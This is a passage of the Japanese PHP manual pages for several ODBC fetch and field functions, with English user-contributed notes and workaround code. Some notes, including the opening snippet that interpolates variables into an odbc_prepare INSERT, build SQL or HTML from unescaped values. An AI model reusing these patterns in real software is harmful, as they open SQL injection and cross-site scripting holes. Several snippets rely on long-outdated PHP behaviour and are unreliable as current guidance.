$conn=odbc_connect("mydb","","");

/* run insert */
$stmt = odbc_prepare($conn, "INSERT INTO mytable (jor_from, jor_to) VALUES('$from', '$to');" );

/* check for errors */
if (!odbc_execute($stmt)) {
    /* error  */
    echo "Whoops";
}

/* close connection */
odbc_close($conn);
?>
wntrmute at tampabay dot rr dot com 15-Aug-1998 09:22
Solid Issue:
Solid defines CHAR, VARCHAR, LONG VARCHAR, BINARY, VARBINARY, and LONG VARBINARY to be a maximum of 2G in length.  However, when creating your tables for use with PHP one should choose LONG VARCHAR or LONG VARBINARY for these kinds of fields if you are planning on storing really large or lengthy data.  IE: Data exceeding 64k in length such as GIF/JPG, or really huge text areas.


連想配列として結果の行を取得する

  • ≪ odbc_execute
  • odbc_fetch_into ≫
  • PHP Manual
  • ODBC 関数
  • 連想配列として結果の行を取得する

odbc_fetch_array

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

odbc_fetch_array — 連想配列として結果の行を取得する

説明

odbc_fetch_array ( resource $statement , int $row = -1 ) : array|false

ODBC クエリから、連想配列を取得します。

パラメータ

statement

odbc_exec() の結果リソース。

row

どの行番号を取得するのかを任意で指定する。

返り値

取得した行に対応する配列を返します。もう行がない場合には false を返します。

注意

注意: この関数は、DBMaker、IBM DB2 あるいは UnixODBC のサポートを有効にして コンパイルした場合に使用可能です。

参考

  • odbc_fetch_row() - 行を取り込む
  • odbc_fetch_object() - オブジェクトとして結果の行を取得する
  • odbc_num_rows() - 結果における行数を返す

User Contributed Notes

dinchu at gmail dot com 12-Nov-2014 03:28
I've found an issue while working with php ODBC functions. odbc_fetch_array and odbc_fetch_object fail when query has a join with a table that has the same column name, even when that certain field is excluded from the field selection (With SQL SERVER):

THIS ONLY HAPPENS WHEN USING SQL_CUR_USE_ODBC

for example

$con = odbc_connect("Driver={SQL Server Native Client 11.0};Server=$serverName;Database=$db;", 'user', 'pass',SQL_CUR_USE_ODBC);

$query="SELECT table1.field1, table1.field2 from table1 JOIN table2 ON  table1.field1=table2.field1";

$result = odbc_exec($con,$query);

 $a=odbc_fetch_array($result);
the code above generates a warning:

Warning: odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][SQL Server Native Client 10.0][SQL Server]the column name '' is ambiguous., SQL state 37000 in SQLGetData

The error would be okay if i had selected field1 without specifying from which table, but even when it is explicit it doesn't work. the only "workaround" i've found so far is to remove the field from the selected fields or changinf the field name from the second table

I tried with: both SQL Server Native Client 10.0 and SQL Server Native Client 11.0 SQL server 2008 Php 5.3.2 over Windows

PD: If someone has any aideas without using sqlsrv or mssqL extension it will be great
Vadim Istratov 10-Nov-2010 04:21
Be careful while using this function with MSSQL for fetching results of SQL queries like following: "SELECT * FROM table". In this case array will NOT contain named indexes!

I.e.:
Table:
------------------------
| col1 | col2 | col3  |
------------------------
|   1   |   2   |   3   |
------------------------
|   4   |   5   |   6   |
------------------------

Code:
---------------------
<?php
$query = "SELECT * FROM table";
$res = odbc_exec($query);

while( $row = odbc_fetch_array($res) ) {
    print_r($row);
}
?>
---------------------

Output will be:
---------------------
Array(
 [0] => 1,
 [1] => 2,
 [2] => 3
)
Array(
 [0] => 4,
 [1] => 5,
 [2] => 6
)
---------------------

No field names here!
James Auxier 27-Mar-2009 10:30
Some interesting behavior was discovered while attempting simultaneous queries to a MS SQL server through the ODBC/freeTDS layer on SUSE on a persistent connection with ODBC cursors enabled. Stepping through the first resource with odbc_fetch_array() in a while loop works as expected, but calls to subsequently created resources within that loop were failing to return data where MySQL equivalents to the script were working just fine.

I found that adding a num_rows function call [custom function that simply steps through the result set... the misbehavior of odbc_num_rows() is another matter] immediately following each odbc_exec() then resetting the cursor seemed to cache the results for proper performance of the multiple active result sets.  It may be slightly slower than the MySQL equivalent, but at least it works.
michael dot buergi at zhdk dot ch 08-May-2008 02:30
I use an odbc connection to a mssql2000 db. As long as I had set ansi_warnings on, I occasionnally got the last record twice when retrieving them with odbc_fetch_array or odbc_fetch_row and odbc_result.
bryant at zionprogramming dot com 20-Mar-2008 03:04
I found the function submitted by jezndiatyahoodotcodotuk to be very helpful.  I'm using PHP 5.2.5 and this function isn't defined, so it may depend on the ODBC driver being used.

The only problem with the solution already posted is that the return values don't match the ones specified by the documentation.  I made the following modification so that the function will work the same whether it exists internally or not:

<?php
if (!function_exists('odbc_fetch_array')) {
    function odbc_fetch_array($result, $rownumber=null) {
        $array = array();
        if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
            return false;
        }
        for ($i = 1; $i <= $cols; $i++) {
            $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
        }
        return $array;
    }
}

?>
luke at croslow dot com 23-Jul-2007 10:18
On IBM DB2 for iSeries I have to specify a specific row number to retrieve. If I don't specify the row number, the behavior is erratic.

This seems to work:

<?php
for($i=1;$row=odbc_fetch_row($result,$i);$i++) {
  //use $row
}
?>

The row count MUST start at 1 or else the behavior seems undefined; i.e., when I start from 0 some rows might be returned two or more times or not at all.
robincw at gnospammail dot com 09-Jan-2007 04:46
I am using MS SQL Server 2005, and using odbc_connect with SQL_CUR_USE_ODBC.

I had a problem with odbc_fetch_array when getting results from a stored procedure that returns a text column. The misleading error I got was:

odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][ODBC Cursor Library] Result set was not generated by a SELECT statement, SQL state SL004 in SQLGetData

Eventually I found that by converting the text column in my database to varchar(8000), it worked fine. Perhaps using CONVERT or CAST might have worked too. I also found that varchar(max) columns were scrambled.
tim at tmcode dot com 15-Sep-2005 08:07
Depending on the odbc driver/operating system you are using,  odbc_fetch_array might not be defined. (ie if you used --with-custom-odbc you may be out of luck).   The following can be safely added to define the odbc_fetch_array function if doesn't exist already.  Unlike some of the other examples contributed here, this one will create the numeric keys and the text keys.   This function is definitely not very optimal because it has to check the number of fields and field names each time a row is pulled.  Often you will be looping through a result set and there is no need to pull this information each time.  It could probably be improved by caching the result of these functions but I'll leave that as an exercise for someone else... :)

if(!function_exists("odbc_fetch_array"))
{

    function odbc_fetch_array($res)
    {
        // make sure to pass back the false if we are out of rows
        if(!odbc_fetch_row($res)) return false;

        $row=array();

        // populate the row array
        $numfields=odbc_num_fields($res);
        for($i=1; $i<=$numfields; $i++)
        {
            //odbc starts its indice at 1 but since I am
            // trying to emulate the functionality of *_fetch_array
            // for other dbs (ie mysql)  I'm going to decrement my
            // my numeric indice by 1.  This might not be what
            // you are after in which case get rid of the -1
            $row[odbc_field_name($res,$i)]=$row[$i-1]=odbc_result($res,$i);

        }
        return $row;
    }

}
Remy 12-Apr-2005 05:35
I use this function to get my recordset in an array, and it's very easy to use.

function dbquery($sql) {
  $arr    = array();
  $conn = odbc_connect('dsn','user','pass');
  $rs     = odbc_exec($conn,$sql);
  $x      = 1;
  while (odbc_fetch_row($rs)) {
    for ($y = 1; $y <= odbc_num_fields($rs); $y++)
      $arr[$x][$y] = odbc_result($rs,$y);
    $x++;
  }
  if ($x > 1)
    return $arr;
}

usage:

$arr=dbquery("SELECT * FROM tblTable");
echo $arr[1][1] //echo's first column of the first row
philip 21-Mar-2005 08:03
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
miles at e-clipseconsulting dot com 15-Dec-2004 01:47
In response to Sena's post, odbc_num_rows does not always return a row count.  When executing a query on MS Access it seems to return a row count of -1.

<?php

while(odbc_num_rows($myodbcexec)){
       $myarray[] = odbc_fetch_array($myodbcexec);
}

?>

Just something to watch out for when attempting to execute this code.

Miles Phillips
e-Clipse Consulting
russ at russprince dot com 11-Nov-2004 06:57
I really liked Ryan's example so I took it another step and added a recordset class to work with the connection class.  I made slight alterations to the original code as well.  Also note the recordset class takes advantage of php5's __get property function...

<%
class odbcRecordset {
   var $recordcount;
   var $currentrow;
   var $eof;

   var $recorddata;
   var $query;

   function odbcConnection(){
      $this->recordcount = 0;
      $this->recorddata = 0;
   }

   function SetData( $newdata, $num_records, $query ) {
      $this->recorddata = $newdata;
      $this->recordcount = $num_records;
      $this->query = $query;
      $this->currentrow = 0;
      $this->set_eof();
   }

   function set_eof() {
      $this->eof = $this->currentrow >= $this->recordcount;
   }

   function movenext()  { if ($this->currentrow < $this->recordcount) { $this->currentrow++; $this->set_eof(); } }
   function moveprev()  { if ($this->currentrow > 0)                  { $this->currentrow--; $this->set_eof(); } }
   function movefirst() { $this->currentrow = 0; set_eof();                                               }
   function movelast()  { $this->currentrow = $this->recordcount - 1;  set_eof();                         }

   function data($field_name) {
      if (isset($this->recorddata[$this->currentrow][$field_name])) {
         $thisVal = $this->recorddata[$this->currentrow][$field_name];
      } else if ($this->eof) {
         die("<B>Error!</B> eof of recordset was reached");
      } else {
         die("<B>Error!</B> Field <B>" . $field_name . "</B> was not found in the current recordset from query:<br><br>$this->query");
      }

      return $thisVal;
   }

   function __get($field_name) {
      return $this->data($field_name);
   }
}

class odbcConnection {
   var $user;  //Username for the database
   var $pass; //Password

   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
      $this->user = "";
      $this->pass = "";
   }

   function open($dsn,$user,$pass){
      $handle = @odbc_connect($dsn,$user,$pass,SQL_CUR_USE_ODBC) or
         die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
      $this->conn_handle = $handle;
      return true;
   }

   function &execute($query){
      //Create a temp recordset
      $newRS = new odbcRecordset;
      $thisData = "";

      $res = @odbc_exec($this->conn_handle,$query) or
         die("<B>Error!</B> Couldn't Run Query:<br><br>" . $query . "<br><br>Error Code:  ".odbc_error());
      unset($this->temp_fieldnames);

      $i = 0;
      $j = 0;
      $num_rows = 0;

      // only populate select queries
      if (stripos($query, 'select ') !== false) {
         while(odbc_fetch_row($res)) {
            $num_rows++;

            //Build tempory
            for ($j = 1; $j <= odbc_num_fields($res); $j++) {
               $field_name = odbc_field_name($res, $j);
               $this->temp_fieldnames[$j] = $field_name;
               $ar[$field_name] = odbc_result($res, $field_name) . "";
            }

            $thisData[$i] = $ar;
            $i++;
         }
      }

      //populate the recordset and return it
      $newRS->SetData( $thisData, $num_rows, $query );
      return $newRS;
   }
}
%>

usage is pretty simple:

<%
  $con = new odbcConnection
  $con->open("dsn","user","pass")

  $sql = "select bar from foo";
  $rs = $con->execute($sql);

  if (!$rs->eof) {
    print $rs->data("bar");
      // or //
    print $rs->bar;
  }

  while (!$rs->eof) {
    // blah blah code
    $rs->movenext();
  }
%>

Works pretty well, but I haven't thoughly tested it yet.
Code can be dl'd here:

http://www.russprince.com/odbc_functions.zip

Cheers,
Russ
Ryan (rystar_x2000 at hotmail dot com) 09-Apr-2004 06:39
Heya,

After much fiddling around with the odbc_num_rows() function, and trying to get odbc_fetch_array() to play nice with it, I decided to write this little function which will return a 2-dimensional array, in the format [rownumber][field].

The 'rownumber' array index is obviously the number of the row stored in the array.
The 'field' index is keyed to the field name on that row.

--Function--
<?

function fetch2DArray($res){
    $i = 0;
    $j = 0;
    $toReturn = "";

    while(odbc_fetch_row($res))
    {
        for ($j = 1; $j <= odbc_num_fields($res); $j++)
        {
             $field_name = odbc_field_name($res, $j);
             $ar[$field_name] = odbc_result($res, $field_name);
        }

        $toReturn[$i] = $ar;
        $i++;
    }
    return $toReturn;
}
?>

I then took this one stage further.. and wrote a whole class to deal with the odbc connection... it's a bit slap-happy, but it does work well enough.

-- Class --
<?
class odbcConnection{
   var $user;  //Username for the database
   var $pass; //Password
   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
       $this->user = "";
       $this->pass = "";
   }

       function connectDatabase($dsn_link,$user,$pass){
        $handle = @odbc_connect($dsn_link,$user,$pass,SQL_CUR_USE_DRIVER) or die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
        $this->conn_handle = $handle;
        return true;
    }

    function runStoredQuery($query, $returns_results){

    if($returns_results == false){
            return false;
        }

    $toReturn = "";
        $res = @odbc_exec($this->conn_handle, "exec ".$query."") or die("<B>Error!</B> Couldn't Run Stored Query. Error Code:  ".odbc_error());
        unset($this->temp_fieldnames);
            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                  //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                      $this->temp_fieldnames[$j];
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

    function runSQL($query,$returns_results){
    $toReturn = "";

        $res = @odbc_exec($this->conn_handle,$query) or die("<B>Error!</B> Couldn't Run Query. Error Code:  ".odbc_error());
           unset($this->temp_fieldnames);
        if($returns_results == false){
            return false;
        }

            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

}

//And an example of how to use the class:

include("dbClass.inc");  //Where dbClass.inc is the name of the file holding the class

//Declare a new instance of the class
$dbConnection = new odbcConnection;

$dsn = "GroupWork";   //Your System DSN name to point to your database
$dbConnection->connectDatabase($dsn,"","");  //No username and password - read only access

echo"<BR><HR><B>Testing SQL</b><BR><BR>";
$query_result = $dbConnection->runSQL("SELECT * FROM Event WHERE Type = 'Sport' ORDER BY EDate ASC",true);

    if(!$query_result)
    {
        //No Results - Your Error Code Here
    }else{
        //Get the results
        $key = $dbConnection->temp_fieldnames;
        $rows = count($query_result);
        $keys = count($key);
        $i = 0;

        while($i < $rows){
            $j = 1;
            echo "Echoing Row $i:<BR>";

                while($j < $keys - 1){

                    //$query_result[row][field];
                    $result = $query_result[$i][$key[$j]];
                    $field = $key[$j];
                    echo("Field <b>'".$field."'</b> : ".$result." <BR>");

                    $j++;
                }
            echo "<BR>----<BR><BR>";
            $i++;
        }
    }
?>

Hope this was of some help. If anyone has any improvments to the class, please drop them by me.
powerstat at web dot de 26-Mar-2004 04:48
This function is badly implemented, because the fetch_array versions for all other databases are storing the values as associative AND numeric key.
This one only stores as associative key :(
Someone should really cleanup the complete database api design!
xhat at NOSPAM dot hotmail dot com 24-Mar-2004 10:46
This is a quick and dirty way to accomplish the same thing:

<?
while(odbc_fetch_row($result)) {
$var1 = odbc_result($result, "NAMEOFFIELD1");
$var2 = odbc_result($result, "NAMEOFFIELD2");
..... //as many vars as you have fields with data to capture

$array_of_results[] = compact('var1', 'var2','var3', etc, etc)
}
?>

Just turn each returned row's data into variables then use the compact().  Turns each variable name into a key and the vars value into the array value.  Makes a wonderful 2d array that you can walk easily and still use key values to get at data.


一行ぶんの結果を配列に取り込む

  • ≪ odbc_fetch_array
  • odbc_fetch_object ≫
  • PHP Manual
  • ODBC 関数
  • 一行ぶんの結果を配列に取り込む

odbc_fetch_into

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_fetch_into — 一行ぶんの結果を配列に取り込む

説明

odbc_fetch_into ( resource $statement , array &$array , int $row = 0 ) : int|false

結果の行を array に取得します。

パラメータ

statement

結果リソース。

array

結果の配列。型変換によってい配列型となるので、どんな型であっても構いません。 この配列には、添字 0 から始まるカラム番号が代入されます。

row

行番号。

返り値

結果におけるカラム番号を返します。また、エラーの場合に false を返します。

例

例1 odbc_fetch_into() の例

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

あるいは

<?php
$rc = odbc_fetch_into($res_id, $my_array, 2);
?>

User Contributed Notes

alvaro at demogracia dot com 05-Apr-2011 03:04
It returns FALSE if there was an error reading the row but also when there aren't more rows available.
brian m 17-Nov-2004 02:58
Here is a very simple mehod to dump SQL results into an array that can be edited and manipulated.
==============================================

//Create the array:
$row = array();
while (odbc_fetch_into($res, $row, ODBC_NUM)) {
    array_push($stuff,$row);
}

//The results are now in an array.  To display the array as an HTML table we can use the following:

foreach($stuff as $line){
    echo "<tr>\n";
    foreach($line as $field){
        echo "<td>".$field."</td>\n";
    }
}

==============================================
Using this method allows a person to control individual data elements in each row and field.  I am far more familiar with ASP and the getrows function but this is the closest equivalent that I have been able to find.

I good friend and co-worker was able to determine how to get this to work.  Thanks Robby.
php at nospamplease dot markjrubin dot com 28-Jun-2004 12:02
Regarding free at muktimedia dot com's problem.

We found a simple solution, just cast the text as ntext in your SQL statement.

SELECT cast ( field_name AS NTEXT ) AS field_name

Mark J Rubin
free at muktimedia dot com 25-Jan-2003 05:23
Problem w/ MSSQL 2000 (or 7 possibly):::::
Warning: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid
Descriptor Index, SQL state S1002 in SQLGetData in ...

http://bugs.php.net/bug.php?id=18514

The above error will be seen when calling @ODBC_RESULT_ALL() on a resultset that contains a field of type 'text' (MSSQL 2K).  If you see this error in @ODBC_RESULT_ALL then surely @ODBC_FETCH_INTO() will return false when the resultset contains a field of type 'text' (MSSQL 2K) - causing headaches.

WORKAROUND : change the field type to NTEXT (SQL 2K/7) - this is preferable in many cases (except DB storage space) since NTEXT is simply Unicode Text.

I tried a workaround at http://www.phpbuilder.com/mail/php-db/2001071/0240.php but this didn't work.

It appears PHP could benefit from an update to its ODBC libraries since 'text' and 'memo' fields are often used in Win32 environments...
PHP at TeamBurke dot com dot NoSpam 15-Nov-2002 08:00
DON'T START AT ROW 0

When using odbc_fetch_into($id,$row_num,$array) don't intialize the $row_num=0.

Why... well if you do this and you have one record in the table you'll get an error... not a problem.  BUT, if you have more than one row in the table, there is no error and the first record in the table is lost.

This may seem obvious, but remember that we count many things starting from 0, so doing it here made sense in my mind.  Took quite some time to solve the problem, because I had used the same method on another page, where there were multiple row records, and that page worked fine.  I just never noticed that it failed to print the first record's information.  So you can imagine my puzzlement when the code worked on one page and not the next.
scott at abcoa dot com 02-Jul-2002 11:41
Using odbc_fetch_into() is becoming tiresome when it had to be changed in php version 4.0.5, 4.0.6 and 4.2.x.  Also, using define() function no longer work well with 4.2.x, so define() is not reliable for odbc_fetch_into().  Time on the job to keep up with the changes is ill-advised.  Turned out the better solution is to use odbc_fetch_array and not have to deal with the hassle of updating the database, web pages, etc.  It is worth the time in the long run.

--clip-- (old script)
define(CUSTOMER_ID,0);
define(CUSTOMER_NAME,1);

//$rows = 1;

if (odbc_fetch_row($result))
{
//odbc_fetch_into($result,1,&$user_detail); //php 4.0.5
//odbc_fetch_into($result,$row,$user_detail); //php 4.0.6
odbc_fetch_into($result,$user_detail,1);  //php 4.2.x
   echo $user_detail[CUSTOMER_ID];
} else {
   echo "Failed!";
}
--clip--
//#########################################
--clip-- (new script)
if (odbc_fetch_row($result))
{
   while($user_detail = odbc_fetch_array($result) ) {
      echo $user_detail[CUSTOMER_ID];
   }
} else {
   echo "Failed!";
}
--clip--

This is pretty useful when we keep adding columns to the database table.  If you combine two tables and have two columns with the same column name, then you'll need to have two seperate array, like $user_detail1 and $user_detail2, etc.  Whatever you can come up with.
matt(at)lazycat(dot)org 04-Sep-2001 06:36
Most annoyingly with PHP 4.0.6, the new "feature" regarding the requirement of the row number to be non-constant means that this code no longer works:

$row_num = 1; $row = array();
while (odbc_fetch_into($result, $row_num++, $row) {
  // Stuff
}

So if you were wondering why, that's why. This infuriated me above all other issues I've had with PHP when I upgraded to 4.0.6
Luckily the workaround is easy enough. Just use $row_num in the odbc_fetch_into() and add $row_num++ inside the while loop. But it's still very annoying! I haven't found any other functions where this is an issue..
doc at vulcanmicro dot com 26-Jun-2001 01:47
Going from php 4.0.5 to php 4.0.6, the following syntax nolonger works:
odbc_fetch_into($result,$start-1,&$fields);
In 4.0.5 it works, in 4.0.6 it produces this error:
Only variables can be passed by reference
The following lines DO work however:
$tmp=$start-1;
odbc_fetch_into($result,$tmp,&$fields);
scott at gamesonline dot com 01-Jul-1999 08:13
(Win32) When calling this function against an Access 97 table, if the second parameter is passed in as the row you wish to retrieve, it APPEARS you will keep getting the same row back, regardless of the value passed in.  Solution: Don't pass in the second parameter and everything autoincrements just fine.
vbhunt at silverfox dot com 28-Sep-1998 12:27
This function interacts with odbc_result in that it appears to increment the internal record pointer for the current query result.  Thus if you use this function and desire to have the record you just fetched available for use in odbc_result; you'll have to call odbc_fetch_result again with the current row number.  This behavior can be especially confusing if your query result contains a single record.  When this is the case, use of odbc_fetch_into appears to break odbc_result.
vbhunt at silverfox dot com 27-Sep-1998 11:20
Passing by reference means that you have to pass a pointer to the item (i.e. array) and not the item itself.  In this case this means prepend an ampersand onto the front of your arrayname to indicate that the arrayname is being passed by reference and not by value.  For example:
<?php
$cols = odbc_fetch_into($QueryID, $RowNum, &$YourArray);
?>


オブジェクトとして結果の行を取得する

  • ≪ odbc_fetch_into
  • odbc_fetch_row ≫
  • PHP Manual
  • ODBC 関数
  • オブジェクトとして結果の行を取得する

odbc_fetch_object

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

odbc_fetch_object — オブジェクトとして結果の行を取得する

説明

odbc_fetch_object ( resource $statement , int $row = -1 ) : stdClass|false

ODBC クエリから、オブジェクトを取得します。

パラメータ

statement

odbc_exec() の結果リソース。

row

どの行番号を取得するのかを任意で指定する。

返り値

取得した行に対応するオブジェクトを返します。もう行がない場合には false を返します。

注意

注意: この関数は、DBMaker、IBM DB2 あるいは UnixODBC のサポートを有効にして コンパイルした場合に使用可能です。

参考

  • odbc_fetch_row() - 行を取り込む
  • odbc_fetch_array() - 連想配列として結果の行を取得する
  • odbc_num_rows() - 結果における行数を返す

User Contributed Notes

Anonymous 04-Mar-2021 04:33
This would be so much more useful if it contained information on what the object returned contains. From var_dump() it seems just an assoc array in object form. But is there column type info, for example?
philip 21-Mar-2005 08:04
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
thorsten at rinne dot info 15-Oct-2003 02:26
odbc_fetch_object() works nice with PHP 4.3.3 under W2K with IBM DB2 V.7.2 and V.8.1:

<?php
$conn = odbc_connect($db_name, $username, $password) or die(odbc_error_msg());
$sql = "SELECT * FROM TABLE";
$result = odbc_exec($conn, $sql);
while ($rows = odbc_fetch_object($result)) {
    print $rows->COLUMNNAME;
    }
odbc_close($conn);
?>
j dot a dot z at bluewin dot ch 30-Apr-2003 01:26
hey "general at maccrafters dot com"

thank you very much for your code. it saved me time!
however i extended it a bit!
---------------------------------------------
    function __odbc_fetch_object($res)
    {
        if( function_exists("odbc_fetch_object") )
            return odbc_fetch_object($res);

        $rs = array();
        $rs_obj = false;
        if( odbc_fetch_into($res, &$rs) )
        {
            foreach( $rs as $key=>$value )
            {
                $fkey = odbc_field_name($res, $key+1);
                $rs_obj->$fkey = trim($value);
            }
        }
        return $rs_obj;
    }
---------------------------------------------
cheers, jaz
h4 at locked dot org 11-Mar-2003 06:28
my 2 cents:

function data($res) {
    $obj = new stdClass();
    $data_array = array();

    if (!odbc_fetch_into($res, $data_array)) {
        return 0;
    }

    $num_fields = odbc_num_fields($res);

    for ($i = 0;$i < $num_fields; $i++) {
        $name = odbc_field_name($res, $i + 1);
        if (!$name) {
            return 0;
        }

        $obj->{$name} = $data_array[$i];
    }

    return $obj;
}

works fine for me (PHP 4.3.1)
charlesk at netgaintechnology dot com 23-Jan-2003 10:54
I asked one of the developers to enable this function in the CVS.  I tried it and it worked.  I didnt do anything special.  I was using a Microsoft Access ODBC driver that came with my Windows XP Pro Install.

I was using the Apache web server.

Charles
general at maccrafters dot com 05-Nov-2002 11:45
Here's a bit of code I came up with tha behaves just like mysql_fetch_object()

    function odbc_fetch_object($result)
    {
        $rs=array();
        if(odbc_fetch_into($result,&$rs))
        {
            foreach($rs as $key=>$value)
            {
    $fkey=strtoupper(odbc_field_name($result,$key+1));
                $rs_obj->$fkey = trim($value);

            }
        }
        return($rs_obj);
    }

Special thanks to previous posters for giving me a starting point for this code.
kynaston at yahoo dot com 05-Sep-2002 05:55
If you're using Masoud's code in PHP4.2+, change the fifth line to:

odbc_fetch_into($result,&$rs);

(the order of arguments have changed)
Marcus dot Karlsson at usa dot net 24-Apr-2002 10:57
It' possible to get both odbc_fetch_object() and odbc_fetch_array() to work just by removing #ifdef HAVE_DBMAKER/#endif in php_odbc.h line 216 (219) and the same in php_odbc.c line 87 (90) and 1229 (1380).

I've done this sucessfully in the PHP 4.2.0 release using ODBC towards a MySQL database.

I really can't understand why the #ifdef is there from the beginning, but they do have their reasons.

These were the files i "patched"
/* $Id: php_odbc.c,v 1.120.2.1 2002/04/08 22:21:30 sniper Exp $ */
/* $Id: php_odbc.h,v 1.45.2.1 2002/03/12 02:27:47 sniper Exp $ */
masuod_a at hotmail dot com 22-Feb-2002 12:29
This function not availible in PHP 4.1.1 , you can try this :

if (function_exists(odbc_fetch_object))
 return;
function odbc_fetch_object($result, $rownumber=1) {
 $rs=array();
 odbc_fetch_into($result, $rownumber,$rs);
 foreach ($rs as $key => $value) {
   $fkey=strtolower(odbc_field_name($result, $key+1));
   $rs_obj->$fkey = $value;
 }
 return $rs_obj;
}
if you wanna use this function in a loop  you must set rownumber parameter
you can't use this function like :
 while ($myobj=odbc_fetch_object($res)) {
 ....
}


行を取り込む

  • ≪ odbc_fetch_object
  • odbc_field_len ≫
  • PHP Manual
  • ODBC 関数
  • 行を取り込む

odbc_fetch_row

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_fetch_row — 行を取り込む

説明

odbc_fetch_row ( resource $statement , int|null $row = null ) : bool

odbc_do() や
odbc_exec() から返された行データを取得します。
odbc_fetch_row() がコールされた後、この行のフィールドは、
odbc_result() でアクセス可能となります。

パラメータ

statement

結果 ID。

row

row が指定されない場合、 odbc_fetch_row() は、 結果セットにおける次の行を取り込もうと試みます。 row を指定した odbc_fetch_row() のコールと指定しないコールを混用することができます。

結果を複数回走査したい場合、odbc_fetch_row() を row に 1 を指定してコールし、 続いて結果を再度見るために row を指定せずに odbc_fetch_row() を実行しつづけます。 行を番号で取り込むことをドライバがサポートしていない場合、 row パラメータは無視されます。

返り値

行があった場合には true、それ以外の場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | row は、nullable になりました。

User Contributed Notes

eolscr at gmail dot com 07-Apr-2005 08:05
When I migrates from 4 to 5 took me a long day to find the solution.

The way to use it without problems

In php4:

<?php
while (odbc_fetch_row($stringsql)) {

// ...

}
?>

In php5:

<?php

odbc_fetch_row($stringsql, 0);

while (odbc_fetch_row($stringsql)) {

// ...

}

?>

Good luck


フィールドの長さ (精度) を得る

  • ≪ odbc_fetch_row
  • odbc_field_name ≫
  • PHP Manual
  • ODBC 関数
  • フィールドの長さ (精度) を得る

odbc_field_len

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_len — フィールドの長さ (精度) を得る

説明

odbc_field_len ( resource $statement , int $field ) : int|false

指定した ODBC 結果 ID の番号で参照されるフィールドの長さを取得します。

パラメータ

statement

結果 ID。

field

フィールド番号。フィールド番号は 1 から始まります。

返り値

フィールドの長さ、あるいはエラー時に false を返します。

参考

  • 浮動小数点の精度を得るには odbc_field_scale() - フィールドの精度を得る

User Contributed Notes

There are no user contributed notes for this page.


カラム名を得る

  • ≪ odbc_field_len
  • odbc_field_num ≫
  • PHP Manual
  • ODBC 関数
  • カラム名を得る

odbc_field_name

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_name — カラム名を得る

説明

odbc_field_name ( resource $statement , int $field ) : string|false

指定された ODBC 結果 ID において指定されたカラム番号にあるフィールドの名前を取得します。

パラメータ

statement

結果 ID。

field

フィールド番号。フィールド番号は、1 から始まります。

返り値

フィールド名を表す文字列、あるいはエラー時に false を返します。

User Contributed Notes

anuga at anuga dot se 27-Apr-2009 12:46
I've been toying around with this for awhile to make it as simple and fast as possible.

<?php

/* Start The Connection */
if(!$odbc['connection'] = odbc_connect('DNS','USER','PASS'))
{
    exit("Connection Failed<br />\n");
}
else
{
    echo("Connected<br />\n");
}

/* Select Which Table */
$odbc['table'] = "table";

/* Fetch The Fieldnames into an Array */
if($result = odbc_exec($odbc['connection'],"select * from $odbc['table'];"))
{
    for($i = 1;$i <= odbc_num_fields($result);$i++)
    {
        $odbc['rows']['fields'][$i] = odbc_field_name($result,$i);
    }
    unset($i);
    odbc_free_result($result);
}
else
{
    exit("Error in SQL Query");
}

/* Close The Connection */
if(odbc_close($odbc['connection']))
{
    odbc_close($odbc['connection']);
}

/* Print The Array */
if(!empty($odbc['rows']))
{
    print_r($odbc['rows']);
}

?>
sica at wnet dot com dot br 05-Nov-2008 10:39
Hi hayes029, your idea was very helpful.
Here go a adaptation for select form field.
<?php
  $consulta = "select * from schema.table";
  $resposta = odbc_exec($con, $consulta);
  for($i=1; $i <= odbc_num_fields($resposta); $i++)
    echo "<option value=".odbc_field_name($resposta, $i).">".odbc_field_name($resposta, $i)."</option>";
?>
marco 14-Feb-2008 06:08
we faced the 31 char limit using cakephp dbo_odbc.php class (version 1.1.18.5850)

at the end, it calls odbc_fetch_row giving the problem (i tracked it may be due to the php implementation of a ODBCv2 model, which has hard coded 4bytes, 32 bits file names length, while ODBCv3 seems to have a separate specification of that value, fwiw)

we learned from another user (having similar problems with dbo_mssql.php class) how to workaround this problem,

we solved using inheritance, redefining the method (locally to our application) in order to
- create a "map" of the query fields (as an array) before executing it
- execute the query in a non-associative way
- after the results are returned, restore the real field names applying the previous created "map"

another way could be use the COM like:
new COM("ADODB.Connection")
which does not show the 31 chars problem but it could be slower and bound to the windows platform.
NoEgzit 22-Nov-2007 06:23
If you really need more than 31 characters here's what you can do:

open php5.x.x/ext/odbc/php_odbc_includes.h in an editor like notepad++

change 32 by a greater value in
typedef struct odbc_result_value {
    char name[32];
    char *value;
    SDWORD vallen;
    SDWORD coltype;
} odbc_result_value;

